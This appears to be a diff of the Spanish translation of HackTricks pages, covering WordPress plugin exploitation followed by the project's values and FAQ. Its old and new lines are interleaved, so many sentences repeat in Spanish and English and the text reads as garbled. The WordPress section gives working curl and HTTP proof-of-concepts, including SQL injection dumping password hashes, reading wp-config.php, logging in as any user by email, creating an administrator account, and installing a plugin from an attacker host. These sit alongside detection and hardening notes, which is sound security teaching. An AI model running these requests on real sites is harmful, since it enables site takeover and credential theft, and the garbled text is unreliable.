* Any `add_action( 'wp_ajax_nopriv_...')` callback that calls filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
* Concatenation of unsanitised user input into paths (look for `$_POST`, `$_GET`, `$_REQUEST`).
* Absence of `check_ajax_referer()` and `current_user_can()`/`is_user_logged_in()`.
---
### Escalada de privilegios mediante restauración de roles obsoletos y falta de autorización (ASE "View Admin as Role")
### Privilege escalation vía restauración de roles obsoletos y autorización faltante (ASE "View Admin as Role")
Muchos plugins implementan una función de "view as role" o cambio temporal de rol guardando el/los rol(es) originales en user meta para poder restaurarlos más tarde. Si la ruta de restauración se basa únicamente en parámetros de la petición (p. ej., `$_REQUEST['reset-for']`) y en una lista mantenida por el plugin sin comprobar capacidades y un nonce válido, esto se convierte en una escalada vertical de privilegios.
Many plugins implement a "view as role" or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., `$_REQUEST['reset-for']`) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation.
Un ejemplo real se encontró en el plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). La rama de reset restauraba roles basándose en `reset-for=<username>` si el nombre de usuario aparecía en un array interno `$options['viewing_admin_as_role_are']`, pero no realizaba ni una comprobación `current_user_can()` ni una verificación de nonce antes de eliminar los roles actuales y volver a añadir los roles guardados en user meta `_asenha_view_admin_as_original_roles`:
A real-world example was found in the Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). The reset branch restored roles based on `reset-for=<username>` if the username appeared in an internal array `$options['viewing_admin_as_role_are']`, but performed neither a `current_user_can()` check nor a nonce verification before removing current roles and re-adding the saved roles from user meta `_asenha_view_admin_as_original_roles`:
```php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
@ -517,12 +485,6 @@ Por qué es explotable
- Si un usuario previamente tenía privilegios más altos guardados en `_asenha_view_admin_as_original_roles` y fue degradado, puede restaurarlos accediendo a la ruta de reset.
- En algunas implementaciones, cualquier usuario autenticado podría desencadenar un reset para otro nombre de usuario aún presente en `viewing_admin_as_role_are` (autorización rota).
Requisitos previos del ataque
- Versión vulnerable del plugin con la función habilitada.
- La cuenta objetivo tiene un rol de alto privilegio obsoleto almacenado en user meta por uso anterior.
- Cualquier sesión autenticada; falta nonce/capability en el flujo de reset.
Explotación (ejemplo)
```bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
@ -531,36 +493,23 @@ Explotación (ejemplo)
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
```
En versiones vulnerables esto elimina los roles actuales y vuelve a añadir los roles originales guardados (p. ej., `administrator`), escalando privilegios efectivamente.
En versiones vulnerables esto elimina los roles actuales y vuelve a añadir los roles originales guardados (p. ej., `administrator`), escalando efectivamente privilegios.
Detection checklist
Lista de comprobación de detección
- Buscar funciones de cambio de rol que persistan “original roles” en user meta (p. ej., `_asenha_view_admin_as_original_roles`).
- Identificar rutas de reset/restore que:
- Leer nombres de usuario desde `$_REQUEST` / `$_GET` / `$_POST`.
- Modificar roles vía `add_role()` / `remove_role()` sin `current_user_can()` y `wp_verify_nonce()` / `check_admin_referer()`.
- Autorizar basándose en un arreglo de opciones del plugin (p. ej., `viewing_admin_as_role_are`) en lugar de las capacidades del actor.
Hardening
- Exigir comprobaciones de capacidades en cada rama que modifique el estado (p. ej., `current_user_can('manage_options')` o más estricta).
- Requerir nonces para todas las mutaciones de roles/permisos y verificarlas: `check_admin_referer()` / `wp_verify_nonce()`.
- Nunca confiar en nombres de usuario proporcionados por la solicitud; resolver el usuario objetivo del lado servidor en función del actor autenticado y de una política explícita.
- Invalidar el estado de “original roles” en actualizaciones de perfil/rol para evitar restauraciones obsoletas de altos privilegios:
```php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
```
- Considere almacenar el mínimo estado y usar tokens limitados en el tiempo y protegidos por capability para cambios temporales de rol.
- Identificar rutas de restablecimiento/recuperación que:
- Lean nombres de usuario desde `$_REQUEST` / `$_GET` / `$_POST`.
- Modifiquen roles vía `add_role()` / `remove_role()` sin `current_user_can()` y `wp_verify_nonce()` / `check_admin_referer()`.
- Autoricen basándose en un array de opciones del plugin (p. ej., `viewing_admin_as_role_are`) en lugar de las capacidades del actor.
---
### Unauthenticated privilege escalation via cookietrusted user switching on public init (Service Finder “sf-booking”)
### Escalada de privilegios no autenticada vía cambio de usuario confiando en cookie en init público (Service Finder “sf-booking”)
Algunos plugins enlazan user-switching helpers al hook público `init` y derivan la identidad de una cookie controlada por el cliente. Si el código llama a `wp_set_auth_cookie()` sin verificar autenticación, capability y un nonce válido, cualquier visitante no autenticado puede forzar el inicio de sesión como un ID de usuario arbitrario.
Algunos plugins enganchan helpers de cambio de usuario al hook público `init` y derivan la identidad de una cookie controlada por el cliente. Si el código llama a `wp_set_auth_cookie()` sin verificar la autenticación, las capacidades y un nonce válido, cualquier visitante no autenticado puede forzar el login como un ID de usuario arbitrario.
Patrón típico vulnerable (simplificado de Service Finder Bookings ≤ 6.1):
Patrón vulnerable típico (simplificado de Service Finder Bookings ≤ 6.1):
```php
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
@ -591,11 +540,11 @@ wp_die('No original user found to switch back to.');
```
Por qué es explotable
- El hook público `init` hace que el manejador sea accesible para usuarios sin autenticar (sin protección `is_user_logged_in()`).
- El hook público `init` hace que el manejador sea accesible por usuarios no autenticados (sin la comprobación `is_user_logged_in()`).
- La identidad se deriva de una cookie modificable por el cliente (`original_user_id`).
- La llamada directa a `wp_set_auth_cookie($uid)` autentica al solicitante como ese usuario sin ninguna comprobación de capabilities/nonce.
- La llamada directa a `wp_set_auth_cookie($uid)` inicia sesión al solicitante como ese usuario sin ninguna comprobación de capacidades/nonce.
Explotación (sin autenticar)
Explotación (sin autenticación)
```http
GET /?switch_back=1 HTTP/1.1
Host: victim.example
@ -605,32 +554,32 @@ Connection: close
```
---
### Consideraciones de WAF para CVEs de WordPress/plugins
### Consideraciones de WAF para CVEs de WordPress/plugin
Los WAFs genéricos en el edge/servidor están afinados para patrones amplios (SQLi, XSS, LFI). Muchas vulnerabilidades de alto impacto en WordPress/plugins son fallos de lógica/autenticación específicos de la aplicación que parecen tráfico benigno a menos que el motor entienda las rutas de WordPress y la semántica de los plugins.
Los WAFs genéricos en edge/servidor están ajustados para patrones amplios (SQLi, XSS, LFI). Muchas vulnerabilidades de alto impacto en WordPress/plugin son fallos de lógica/`auth` específicos de la aplicación que parecen tráfico benigno a menos que el motor entienda las rutas de WordPress y la semántica del plugin.
Offensive notes
- Apunta a endpoints específicos del plugin con payloads limpios: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Prueba primero las rutas no autenticadas (AJAX `nopriv`, REST con `permission_callback` permisivo, shortcodes públicos). Los payloads por defecto suelen tener éxito sin ofuscación.
- Casos típicos de alto impacto: escalada de privilegios (broken access control), carga/descarga arbitraria de archivos, LFI, open redirect.
- Target plugin-specific endpoints with clean payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Exercise unauth paths first (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads often succeed without obfuscation.
- Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Defensive notes
- No confíes en firmas genéricas de WAF para proteger CVEs de plugins. Implementa parches virtuales a nivel de aplicación específicos para la vulnerabilidad o actualiza rápidamente.
- Prefiere comprobaciones de seguridad de lista blanca en el código (capabilities, nonces, validación estricta de entradas) en lugar de filtros negativos basados en regex.
- No confíes en firmas genéricas de WAF para proteger CVEs de plugins. Implementa parches virtuales específicos para la vulnerabilidad a nivel de aplicación o actualiza rápidamente.
- Prefiere controles de seguridad de tipo positivo en el código (capabilities, nonces, strict input validation) en vez de filtros regex negativos.
## Protección de WordPress
## WordPress Protection
### Actualizaciones regulares
### Regular Updates
Asegúrate de que WordPress, los plugins y los temas estén actualizados. También confirma que la actualización automática esté habilitada en wp-config.php:
Asegúrate de que WordPress, plugins y themes estén actualizados. También confirma que las actualizaciones automáticas estén habilitadas en wp-config.php:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
Además, **solo instala plugins y temas de WordPress confiables**.
Además, **solo instala plugins y temas confiables de WordPress**.
### Plugins de seguridad
@ -641,13 +590,13 @@ Además, **solo instala plugins y temas de WordPress confiables**.
### **Otras recomendaciones**
- Elimina el usuario por defecto **admin**
- Usa **contraseñas seguras** y **2FA**
- Usa **contraseñas fuertes** y **2FA**
- Revisa periódicamente los **permisos** de los usuarios
- Limita los **intentos de inicio de sesión** para prevenir ataques de Brute Force
- Renombra el archivo **`wp-admin.php`** y permite el acceso solo internamente o desde ciertas direcciones IP.
- **Limita los intentos de login** para prevenir ataques Brute Force
- Renombra el archivo `wp-admin.php` y permite el acceso solo desde la red interna o desde ciertas direcciones IP.
### SQL Injection no autenticada por validación insuficiente (WP Job Portal <= 2.3.2)
### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
El plugin de reclutamiento WP Job Portal expuso una tarea **savecategory** que finalmente ejecuta el siguiente código vulnerable dentro de `modules/category/model.php::validateFormData()`:
```php
@ -662,16 +611,16 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM "
Problemas introducidos por este fragmento:
1. **Entrada de usuario no saneada** `parentid` proviene directamente de la petición HTTP.
2. **Concatenación de cadenas dentro de la cláusula WHERE** no hay `is_numeric()` / `esc_sql()` / prepared statement.
3. **Accesibilidad sin autenticación** aunque la acción se ejecuta a través de `admin-post.php`, la única verificación en su lugar es un **CSRF nonce** (`wp_verify_nonce()`), que cualquier visitante puede recuperar desde una página pública que incruste el shortcode `[wpjobportal_my_resumes]`.
2. **Concatenación de cadenas dentro de la cláusula WHERE** no se usa `is_numeric()` / `esc_sql()` / sentencia preparada.
3. **Accesibilidad sin autenticar** aunque la acción se ejecuta a través de `admin-post.php`, la única comprobación es un **CSRF nonce** (`wp_verify_nonce()`), que cualquier visitante puede obtener desde una página pública que incluya el shortcode `[wpjobportal_my_resumes]`.
#### Explotación
1. Obtener un nonce nuevo:
1. Obtén un nonce fresco:
```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
```
2. Inyectar SQL arbitrario abusando de `parentid`:
2. Inyecta SQL arbitraria abusando de `parentid`:
```bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
@ -679,18 +628,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
```
La respuesta revela el resultado de la consulta inyectada o modifica la base de datos, demostrando SQLi.
La respuesta revela el resultado de la consulta inyectada o altera la base de datos, demostrando el SQLi.
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Otra tarea, **downloadcustomfile**, permitía a los visitantes descargar **cualquier archivo en disco** mediante path traversal. El vulnerable sink está ubicado en `modules/customfield/model.php::downloadCustomUploadedFile()`:
Otra tarea, **downloadcustomfile**, permitía a visitantes descargar **cualquier archivo en disco** mediante path traversal. El sink vulnerable se encuentra en `modules/customfield/model.php::downloadCustomUploadedFile()`:
```php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
```
`$file_name` está controlado por un atacante y concatenado **sin sanitización**. Nuevamente, la única barrera es un **CSRF nonce** que puede obtenerse desde la página de resumen.
`$file_name` está controlado por el atacante y concatenado **sin sanitización**. De nuevo, la única barrera es un **CSRF nonce** que se puede obtener desde la página del CV.
#### Explotación
```bash
@ -703,6 +652,197 @@ curl -G https://victim.com/wp-admin/admin-post.php \
```
El servidor responde con el contenido de `wp-config.php`, leaking DB credentials and auth keys.
## Toma de control de cuenta sin autenticación vía Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
Muchos themes/plugins incluyen helpers de "social login" expuestos vía admin-ajax.php. Si una acción AJAX no autenticada (wp_ajax_nopriv_...) confía en identificadores proporcionados por el cliente cuando faltan los datos del proveedor y luego llama a wp_set_auth_cookie(), esto se convierte en un bypass de autenticación completo.
Patrón defectuoso típico (simplificado)
```php
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb': /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token */ break;
// other providers ...
default: /* unsupported/missing provider execution continues */ break;
}
// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}
$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
```
Por qué es explotable
- Alcance sin autenticación a través de admin-ajax.php (acción wp_ajax_nopriv_…).
- No hay comprobaciones de nonce/capability antes del cambio de estado.
- Falta verificación del proveedor OAuth/OpenID; la rama por defecto acepta la entrada del atacante.
- get_user_by('email', $_POST['id']) seguido de wp_set_auth_cookie($uid) autentica al solicitante como cualquier dirección de correo electrónico existente.
Explotación (sin autenticación)
- Requisitos previos: el atacante puede alcanzar /wp-admin/admin-ajax.php y conoce/adivina un email de usuario válido.
- Establecer provider a un valor no soportado (o omitirlo) para golpear la rama por defecto y pasar id=<victim_email>.
```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
```
```bash
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
```
Indicadores de éxito esperados
- HTTP 200 con cuerpo JSON como {"status":"success","message":"Login successfully."}.
- Set-Cookie: wordpress_logged_in_* para el usuario víctima; las solicitudes posteriores estarán autenticadas.
Encontrar el nombre de la acción
- Inspecciona el tema/plugin en busca de registros add_action('wp_ajax_nopriv_...', '...') en el código de social login (p. ej., framework/add-ons/social-login/class-social-login.php).
- Haz grep de wp_set_auth_cookie(), get_user_by('email', ...) dentro de los manejadores AJAX.
Lista de comprobación de detección
- Registros web mostrando POSTs no autenticados a /wp-admin/admin-ajax.php con la acción social-login e id=<email>.
- Respuestas 200 con el JSON de éxito inmediatamente antes de tráfico autenticado desde la misma IP/User-Agent.
Endurecimiento
- No derives la identidad de la entrada del cliente. Acepta solo emails/IDs que se originen de un token/ID del proveedor validado.
- Exige CSRF nonces y comprobaciones de capacidades incluso para helpers de login; evita registrar wp_ajax_nopriv_ salvo que sea estrictamente necesario.
- Valida y verifica las respuestas OAuth/OIDC en el servidor; rechaza proveedores faltantes/inválidos (sin fallback al POST id).
- Considera deshabilitar temporalmente social login o aplicar un parche virtual en el edge (bloquear la acción vulnerable) hasta que se arregle.
Comportamiento parcheado (Jobmonster 4.8.0)
- Se eliminó el fallback inseguro de $_POST['id']; $user_email debe originarse de ramas del proveedor verificadas en switch($_POST['using']).
## Escalada de privilegios no autenticada vía REST token/key minting en identidad predecible (OttoKit/SureTriggers ≤ 1.0.82)
Algunos plugins exponen endpoints REST que generan “claves de conexión” reutilizables o tokens sin verificar las capacidades del llamante. Si la ruta autentica solo por un atributo adivinable (p. ej., nombre de usuario) y no vincula la clave a un usuario/sesión con comprobaciones de capacidad, cualquier atacante no autenticado puede generar una clave e invocar acciones privilegiadas (creación de cuenta de administrador, acciones de plugins → RCE).
- Ruta vulnerable (ejemplo): sure-triggers/v1/connection/create-wp-connection
- Fallo: acepta un nombre de usuario, emite una connection key sin current_user_can() ni un permission_callback estricto
- Impacto: toma de control completa al encadenar la clave generada a acciones internas privilegiadas
PoC Generar una clave de conexión y usarla
```bash
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
```
Por qué es explotable
- Sensitive REST route protected only by low-entropy identity proof (username) or missing permission_callback
- No capability enforcement; minted key is accepted as a universal bypass
Detection checklist
- Grep plugin code for register_rest_route(..., [ 'permission_callback' => '__return_true' ])
- Any route that issues tokens/keys based on request-supplied identity (username/email) without tying to an authenticated user or capability
- Look for subsequent routes that accept the minted token/key without server-side capability checks
Hardening
- For any privileged REST route: require permission_callback that enforces current_user_can() for the required capability
- Do not mint long-lived keys from client-supplied identity; if needed, issue short-lived, user-bound tokens post-authentication and recheck capabilities on use
- Validate the callers user context (wp_set_current_user is not sufficient alone) and reject requests where !is_user_logged_in() || !current_user_can(<cap>)
---
## Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3)
Nonces prevent CSRF, not authorization. If code treats a nonce pass as a green light and then skips capability checks for privileged operations (e.g., install/activate plugins), unauthenticated attackers can meet a weak nonce requirement and reach RCE by installing a backdoored or vulnerable plugin.
- Vulnerable path: plugin/install_and_activate
- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
- Impact: full compromise via arbitrary plugin install/activation
PoC (shape depends on plugin; illustrative only)
```bash
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
```
Detection checklist
- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
- Any code path that sets $skip_caps = true after nonce validation
Hardening
- Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state
- Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code
- Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows
---
## Unauthenticated SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1)
Multiple depicter-* actions consumed the s (search) parameter and concatenated it into SQL queries without parameterization.
- Parameter: s (search)
- Flaw: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization
- Impact: database exfiltration (users, hashes), lateral movement
PoC
```bash
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
```
Lista de verificación de detección
- Grep for depicter-* action handlers and direct use of $_GET['s'] or $_POST['s'] in SQL
- Revisar consultas personalizadas pasadas a $wpdb->get_results()/query() concatenando s
Mitigación
- Usar siempre $wpdb->prepare() o wpdb placeholders; rechazar metacaracteres inesperados en el servidor
- Agregar una lista de permitidos (allowlist) estricta para s y normalizar al charset/longitud esperados
---
## Unauthenticated Local File Inclusion a través de una ruta de template/archivo no validada (Kubio AI Page Builder ≤ 2.5.1)
Aceptar rutas controladas por el atacante en un parámetro de template sin normalización/contención permite leer archivos locales arbitrarios, y a veces ejecución de código si archivos PHP/log incluibles son cargados en tiempo de ejecución.
- Parámetro: __kubio-site-edit-iframe-classic-template
- Falla: sin normalización/allowlisting; traversal permitido
- Impacto: divulgación de secretos (wp-config.php), RCE potencial en entornos específicos (log poisoning, includable PHP)
PoC leer wp-config.php
```bash
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
```
Detection checklist
- Any handler concatenating request paths into include()/require()/read sinks without realpath() containment
- Look for traversal patterns (../) reaching outside the intended templates directory
Hardening
- Forzar plantillas en lista permitida; resolver con realpath() y requerir str_starts_with(realpath(file), realpath(allowed_base))
- Normalizar la entrada; rechazar secuencias de traversal y rutas absolutas; usar sanitize_file_name() solo para nombres de archivo (no rutas completas)
## Referencias
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
@ -714,5 +854,11 @@ El servidor responde con el contenido de `wp-config.php`, leaking DB credentials
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
- [Service Finder Bookings privilege escalation Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
- [Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme](https://patchstack.com/articles/unauthenticated-broken-authentication-vulnerability-in-wordpress-jobmonster-theme/)
- [Q3 2025s most exploited WordPress vulnerabilities and how RapidMitigate blocked them](https://patchstack.com/articles/q3-2025s-most-exploited-wordpress-vulnerabilities-and-how-patchstacks-rapidmitigate-blocked-them/)
- [OttoKit (SureTriggers) ≤ 1.0.82 Privilege Escalation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/suretriggers/vulnerability/wordpress-suretriggers-1-0-82-privilege-escalation-vulnerability)
- [FunnelKit Automations ≤ 3.5.3 Unauthenticated arbitrary plugin installation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/wp-marketing-automations/vulnerability/wordpress-recover-woocommerce-cart-abandonment-newsletter-email-marketing-marketing-automation-by-funnelkit-plugin-3-5-3-missing-authorization-to-unauthenticated-arbitrary-plugin-installation-vulnerability)
- [Depicter Slider ≤ 3.6.1 Unauthenticated SQLi via s parameter (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/depicter/vulnerability/wordpress-depicter-slider-plugin-3-6-1-unauthenticated-sql-injection-via-s-parameter-vulnerability)
- [Kubio AI Page Builder ≤ 2.5.1 Unauthenticated LFI (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/kubio/vulnerability/wordpress-kubio-ai-page-builder-plugin-2-5-1-unauthenticated-local-file-inclusion-vulnerability)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,54 +1,54 @@
# Valores de HackTricks y FAQ
# Valores y Preguntas frecuentes de HackTricks
{{#include ../banners/hacktricks-training.md}}
## Valores de HackTricks
> [!TIP]
> Estos son los **valores del Proyecto HackTricks**:
> Estos son los **valores del proyecto HackTricks**:
>
> - Dar **FREE** acceso a recursos **EDUCATIONAL hacking** a **TODO** Internet.
> - El hacking trata sobre aprender, y el aprendizaje debería ser lo más gratuito posible.
> - Dar **GRATIS** acceso a recursos educativos de hacking a **TODa** Internet.
> - Hacking is about learning, and learning should be as free as possible.
> - El propósito de este libro es servir como un **recurso educativo** integral.
> - **STORE** increíbles técnicas de **hacking** que la comunidad publica dando a los **AUTORES** **ORIGINALES** todos los **créditos**.
> - **No queremos el crédito de otras personas**, solo queremos almacenar trucos geniales para todos.
> - **STORE** awesome **hacking** techniques that the community publishes giving the **ORIGINAL** **AUTHORS** all the **credits**.
> - **We don't want the credit from other people**, we just want to store cool tricks for everyone.
> - También escribimos **nuestras propias investigaciones** en HackTricks.
> - En varios casos solo escribiremos **en HackTricks un resumen de las partes importantes** de la técnica y **animaremos al lector a visitar la publicación original** para más detalles.
> - **ORGANIZE** todas las técnicas de **hacking** en el libro para que sea **MÁS ACCESIBLE**
> - En varios casos solo escribiremos **en HackTricks un resumen de las partes importantes** de la técnica y **animaremos al lector a visitar el post original** para más detalles.
> - **ORGANIZE** all the hacking techniques in the book so it's **MORE ACCESSIBLE**
> - El equipo de HackTricks ha dedicado miles de horas de forma gratuita **solo para organizar el contenido** para que la gente pueda **aprender más rápido**
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
## FAQ de HackTricks
## Preguntas frecuentes de HackTricks
> [!TIP]
>
> - **Muchas gracias por estos recursos, ¿cómo puedo agradecerles?**
> - **Thank you so much for these resources, how can I thank you?**
Puedes agradecer públicamente al equipo de HackTricks por reunir todos estos recursos públicamente en un tweet mencionando [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
Si estás especialmente agradecido también puedes [**patrocinar el proyecto aquí**](https://github.com/sponsors/carlospolop).\
Y no olvides **dar una estrella a los proyectos de Github!** (¡Encuentra los enlaces abajo!).
Puedes agradecer públicamente al equipo de HackTricks por recopilar todos estos recursos públicamente en un tweet mencionando [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
Si estás especialmente agradecido también puedes [**sponsor the project here**](https://github.com/sponsors/carlospolop).\
Y no olvides **dar una estrella a los proyectos de Github!** (Encuentra los enlaces abajo).
> [!TIP]
>
> - **¿Cómo puedo contribuir al proyecto?**
> - **How can I contribute to the project?**
Puedes **compartir nuevos consejos y trucos con la comunidad o corregir errores** que encuentres en los libros enviando un **Pull Request** a las páginas correspondientes de Github:
Puedes **compartir nuevos tips y tricks con la comunidad o corregir bugs** que encuentres en los libros enviando un **Pull Request** a las páginas de Github correspondientes:
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
No olvides **dar una estrella a los proyectos de Github!**
¡No olvides **dar una estrella a los proyectos de Github**!
> [!TIP]
>
> - **¿Puedo copiar contenido de HackTricks y ponerlo en mi blog?**
> - **Can I copy some content from HackTricks and put it in my blog?**
Sí, puedes, pero **no olvides mencionar los enlaces específicos** de donde se tomó el contenido.
Sí, puedes, pero **no olvides mencionar el/los enlace(s) específicos** de donde se tomó el contenido.
> [!TIP]
>
> - **¿Cómo puedo referenciar una página de HackTricks?**
> - **How can I reference a page of HackTricks?**
Mientras aparezca el enlace **de** la(s) página(s) de donde obtuviste la información, es suficiente.\
Si necesitas un bibtex puedes usar algo como:
@ -62,23 +62,23 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
```
> [!WARNING]
>
> - **¿Puedo copiar todo el contenido de HackTricks en mi blog?**
> - **¿Puedo copiar todo HackTricks en mi blog?**
**Preferiría que no**. Eso **no beneficiará a nadie** ya que todo el **contenido ya está disponible públicamente** en los libros oficiales de HackTricks de forma gratuita.
**Preferiría que no**. Eso **no va a beneficiar a nadie** ya que todo el **contenido ya está disponible públicamente** en los libros oficiales de HackTricks de forma gratuita.
Si temes que desaparezca, simplemente hazle fork en Github o descárgalo; como dije, ya es gratuito.
Si temes que vaya a desaparecer, simplemente haz fork en Github o descárgalo; como dije, ya es gratuito.
> [!WARNING]
>
> - **¿Por qué tienen sponsors? ¿Los libros de HackTricks son con fines comerciales?**
> - **¿Por qué tienen patrocinadores? ¿Los libros de HackTricks son con fines comerciales?**
El primer **valor** de **HackTricks** es ofrecer recursos educativos de hacking **GRATIS** para **TODO** el mundo. El equipo de HackTricks ha **dedicado miles de horas** para ofrecer este contenido, de nuevo, **GRATIS**.
El primer **valor** de **HackTricks** es ofrecer recursos educativos de **hacking** **GRATIS** a **TODO** el mundo. El equipo de HackTricks ha **dedicado miles de horas** para ofrecer este contenido, de nuevo, de forma **GRATUITA**.
Si piensas que los libros de HackTricks están hechos con **fines comerciales** estás **COMPLETAMENTE EQUIVOCADO**.
Tenemos patrocinadores porque, aunque todo el contenido sea GRATIS, queremos **ofrecer a la comunidad la posibilidad de valorar nuestro trabajo** si así lo desean. Por ello, ofrecemos a las personas la opción de donar a HackTricks a través de [**Github sponsors**](https://github.com/sponsors/carlospolop), y a **empresas relevantes de ciberseguridad** patrocinar HackTricks y **poner algunos anuncios** en el libro, siendo los **anuncios** siempre colocados en lugares donde sean **visibles** pero **no interfieran en el proceso de aprendizaje** si alguien se concentra en el contenido.
Tenemos patrocinadores porque, aunque todo el contenido sea **GRATIS**, queremos **ofrecer a la comunidad la posibilidad de valorar nuestro trabajo** si así lo desean. Por ello, ofrecemos a la gente la opción de donar a HackTricks vía [**Github sponsors**](https://github.com/sponsors/carlospolop), y a empresas relevantes de ciberseguridad patrocinar HackTricks y tener algunos anuncios en el libro, siendo los **anuncios** siempre colocados en lugares donde sean **visibles** pero **no interfieran** con el proceso de aprendizaje si alguien se centra en el contenido.
No encontrarás a HackTricks lleno de anuncios molestos como otros blogs con mucho menos contenido que HackTricks, porque HackTricks no está hecho con fines comerciales.
No encontrarás HackTricks lleno de anuncios molestos como otros blogs con mucho menos contenido que HackTricks, porque HackTricks no se hace con fines comerciales.
> [!CAUTION]
>
@ -93,16 +93,16 @@ No encontrarás a HackTricks lleno de anuncios molestos como otros blogs con muc
Ten en cuenta que tener enlaces a tu página en HackTricks:
- Mejora tu **SEO**
- El contenido se **traduce a más de 15 idiomas**, permitiendo que más gente acceda a este contenido
- **HackTricks anima** a la gente a **visitar tu página** (varias personas nos han comentado que desde que alguna de sus páginas está en HackTricks reciben más visitas)
- El contenido se **traduce a más de 15 idiomas**, haciendo posible que más gente acceda a ese contenido
- **HackTricks anima** a la gente a **consultar tu página** (varias personas nos han comentado que desde que alguna de sus páginas está en HackTricks reciben más visitas)
Sin embargo, si aún deseas que el contenido de tu blog sea eliminado de HackTricks, simplemente avísanos y **definitivamente eliminaremos todo enlace a tu blog**, y cualquier contenido basado en él.
